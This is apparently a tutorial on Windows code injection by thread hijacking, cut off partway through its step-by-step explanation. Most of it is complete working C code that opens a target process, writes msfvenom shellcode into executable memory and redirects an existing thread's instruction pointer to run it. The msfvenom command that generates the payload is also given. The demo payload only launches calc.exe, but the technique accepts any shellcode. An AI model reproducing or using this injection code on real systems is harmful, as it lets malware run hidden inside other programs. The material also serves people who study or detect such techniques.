In this part we will see how one can perform Code Injection via Thread hijacking.

Normally, we inject our code or payload to current or remote process and then create a new thread to run that code or payload. But in Thread hijacking we take control of one of the program’s existing threads and make it run our code or payload.

Here we will inject a payload that runs calc.exe command on CMD.

Code


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
 
unsigned char my_payload[] =
	"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
	"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
	"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
	"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
	"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
	"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
	"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
	"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
	"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
	"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
	"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
	"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
	"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
	"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
	"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
	"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
 
unsigned int my_payload_len = sizeof(my_payload);
	
int findMyProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
	// snapshot of all processes in the system
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
	// initializing size: needed for using Process32First
	pe.dwSize = sizeof(PROCESSENTRY32);
	// info about first process encountered in a system snapshot
	hResult = Process32First(hSnapshot, &pe);
	while (hResult) {
		// if we find the process: return process ID
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
	// closes an open handle (CreateToolhelp32Snapshot)
	CloseHandle(hSnapshot);
	return pid;
}
	
int main(int argc, char* argv[]) {
	DWORD pid = 0; // process ID
	HANDLE ph; // process handle
	HANDLE ht; // thread handle
	LPVOID rb; // remote buffer
	HANDLE hSnapshot;
	THREADENTRY32 te;
	CONTEXT ct;
	pid = findMyProc(argv[1]);
	if (pid == 0) {
		printf("PID not found :( exiting...\n");
		return -1;
	} else {
		printf("PID = %d\n", pid);
		ct.ContextFlags = CONTEXT_FULL;
		te.dwSize = sizeof(THREADENTRY32);
		ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
		if (ph == NULL) {
			printf("OpenProcess failed! exiting...\n");
			return -2;
		}
		// allocate memory buffer for remote process
		rb = VirtualAllocEx(ph, NULL, my_payload_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		// write payload to memory buffer
		WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
		// find thread ID for hijacking
		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
		if (Thread32First(hSnapshot, &te)) {
			do {
				if (pid == te.th32OwnerProcessID) {
					ht = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					break;
				}
			} while (Thread32Next(hSnapshot, &te));
		}
		// suspend target thread
		SuspendThread(ht);
		GetThreadContext(ht, &ct);
		// update register (RIP)
		ct.Rip = (DWORD_PTR)rb;
		SetThreadContext(ht, &ct);
		ResumeThread(ht);
		CloseHandle(ph);
}
return 0;
}

Explanation

  1. First, we will include the headers <stdio.h>, <stdlib.h>, <windows.h>, and tlhelp32.h.
  2. Generate a payload that runs calc.exe command in CMD using below command and pass it to unsigned character array, my_payload[].
    Command:
 msfvenom -p windows/x64/exec CMD=calc.exe -f c


3. Calculate the size of payload created in Step 2 with the help of sizeof() function and store its value in a variable, my_payload_len.
4. Now we will Create a